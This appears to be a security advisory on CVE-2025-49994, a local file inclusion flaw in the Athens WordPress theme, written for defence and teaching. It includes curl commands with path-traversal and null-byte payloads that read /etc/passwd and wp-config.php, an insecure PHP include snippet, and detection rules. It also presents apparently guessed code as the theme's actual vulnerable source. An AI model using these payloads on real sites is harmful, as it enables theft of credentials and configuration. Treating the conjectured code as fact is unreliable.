CVE-2025-49994

Executive Summary

CVE-2025-49994 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Ovatheme Athens WordPress theme, affecting versions up to and including 1.1.6. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or WordPress wp-config.php. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high impact on confidentiality. No public proof-of-concept (PoC) or patch details are currently available, making this a zero-day threat for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the WordPress ecosystem. Since it is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the theme's distribution channels. However, users who obtained the theme from unofficial sources may be at higher risk of backdoored versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High – Unauthenticated remote file read with no user interaction.

Deep Dive & Mechanics

The vulnerability exists in the Athens theme's PHP code, likely in a template or plugin file that uses include() or require() with user-supplied input. The improper control of the filename allows an attacker to manipulate the path, typically via a GET or POST parameter, to include arbitrary files from the server's filesystem.

Root Cause: The theme fails to sanitize or validate the filename parameter before passing it to an include statement. For example, a vulnerable code snippet might look like:

include($_GET['file'] . '.php');

This allows path traversal sequences like ../../../../etc/passwd%00 to read sensitive files.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the WordPress site, targeting a vulnerable endpoint (e.g., a theme template or AJAX handler). The attacker manipulates the file parameter to include arbitrary files.

Impact: Successful exploitation leads to disclosure of sensitive data, including database credentials, API keys, and server configuration. This can be a stepping stone for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Athens <= 1.1.6):

// vulnerable-template.php
$file = $_GET['page'];
include($file . '.php');

Patched Code (Hypothetical):

// patched-template.php
$allowed_pages = array('home', 'about', 'contact');
$file = $_GET['page'];
if (in_array($file, $allowed_pages)) {
    include($file . '.php');
} else {
    // Handle error
}

The patched version uses a whitelist approach to restrict included files to a predefined set, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with Athens theme version 1.1.6.
2. Identify the vulnerable endpoint (e.g., /?page=...).
3. Use a tool like curl or Burp Suite to exploit.

Exploitation Steps:

# Read /etc/passwd
curl "http://target.com/?page=../../../../../../etc/passwd%00"

# Read wp-config.php
curl "http://target.com/?page=../../../wp-config%00"

Note: The %00 null byte may be required to terminate the .php extension appended by the vulnerable code.

Blue Team

Detection:

• Monitor for suspicious GET parameters containing path traversal sequences (../, %00).
• Look for requests to theme files with unexpected page values.
• Use WAF rules to block path traversal patterns.

Hunting:

• Search web server logs for requests containing %00 or ../../.
• Check for unusual file reads in PHP error logs.

Indicators of Compromise (IOCs)

• Network: HTTP requests with page parameter containing ../ or %00.
• File System: Access to /etc/passwd, /etc/shadow, wp-config.php via web requests.
• Logs: PHP warnings about failed includes or file not found errors for sensitive paths.

Example IOC (Suricata):

alert http any any -> any any (msg:"CVE-2025-49994 LFI Attempt"; flow:to_server,established; content:"page="; http_uri; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_49994_LFI_Athens {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-49994 in Athens theme"
        author = "Valters IT"
        date = "2025-04-01"
        severity = "high"
    strings:
        $path_traversal = /page=[^&]*\.\.\//
        $null_byte = /page=[^&]*%00/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-49994 LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal in page parameter targeting Athens theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'page=../'
            - 'page=%00'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49994 LFI Attempt - Athens Theme"; flow:to_server,established; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//"; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Athens theme until a patch is available. Switch to a different theme.
2. Temporary: Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the page parameter.
3. Long-term: Apply the vendor patch when released. If no patch is forthcoming, consider customizing the theme to whitelist allowed files.
4. Monitoring: Enable detailed logging for PHP errors and web server access logs to detect exploitation attempts.
5. Backup: Ensure regular backups of the WordPress installation and database.

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